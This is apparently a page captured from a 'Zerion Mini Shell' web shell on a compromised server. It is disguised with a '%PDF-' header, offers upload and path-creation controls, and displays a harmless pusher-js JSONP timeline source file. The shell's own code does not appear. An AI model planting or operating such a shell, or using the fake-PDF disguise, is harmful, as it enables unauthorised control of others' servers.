%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/ugotscom/kma/node_modules/pusher-js/src/runtimes/web/timeline/
Upload File :
Create Path :
Current File : /home/ugotscom/kma/node_modules/pusher-js/src/runtimes/web/timeline/jsonp_timeline.ts

import TimelineSender from 'core/timeline/timeline_sender';
import TimelineTransport from 'core/timeline/timeline_transport';
import Browser from 'runtime';
import { AuthTransport } from 'core/auth/auth_transports';
import { ScriptReceivers } from '../dom/script_receiver_factory';

var getAgent = function(sender: TimelineSender, useTLS: boolean) {
  return function(data: any, callback: Function) {
    var scheme = 'http' + (useTLS ? 's' : '') + '://';
    var url =
      scheme + (sender.host || sender.options.host) + sender.options.path;
    var request = Browser.createJSONPRequest(url, data);

    var receiver = Browser.ScriptReceivers.create(function(error, result) {
      ScriptReceivers.remove(receiver);
      request.cleanup();

      if (result && result.host) {
        sender.host = result.host;
      }
      if (callback) {
        callback(error, result);
      }
    });
    request.send(receiver);
  };
};

var jsonp = {
  name: 'jsonp',
  getAgent
};

export default jsonp;

Zerion Mini Shell 1.0